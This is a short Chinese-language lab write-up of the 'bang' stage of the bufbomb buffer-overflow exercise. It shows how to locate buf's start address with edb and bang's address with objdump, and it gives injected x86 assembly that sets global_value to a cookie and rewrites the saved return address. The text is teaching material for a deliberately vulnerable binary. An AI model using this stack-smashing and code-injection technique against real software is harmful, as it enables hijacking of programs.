要修改global_val这个全局变量,应该通过一段程序来修改。将程序从buf的起始地址处开始,可以先将返回地址设为buf的起始地址,首先找到buf的起始地址0x55682f78设为第45-48个字节。然后开始运行自己写的程序,
找buf的起始地址可以通过edb来查找
cd ~/edb-debugger/build/
./edb --run ~/hitcs/320y/bufbomb -u xxx
执行到get函数处
发现把参数eax传给了gets函数,查看eax的地址0x55682f78即为buf起始地址。
用gdb查看global_value的地址。
bang的地址查看方法:
objdump -d bufbomb > asm.txt
gedit asm.txt
Ctrl+F搜索bang,就找到了bang的地址:0x08048c39
push %ebp
mov %esp,%ebp
mov $0x3d1ca510, %eax
mov %eax, 0x804e160; 把cookie赋值给 global_value 0x804e160是global_value的地址
mov $0x08048c39, %eax
mov %eax,0x4(%ebp); %ebp(栈底指针)后面存的就是返回地址,我们将其改为bang的地址
leave
ret
我们模仿重新调用一个程序,这样%ebp的值不会改变,0x4(%ebp)即为返回地址,我们将其改为address的地址。同时修改全局变量的值,将cookie赋值给全局变量,然后 leave,ret调用bang函数。
然后把汇编转成二进制。
gcc -m32 -c asm.s
objdunp -d asm.o > asm.txt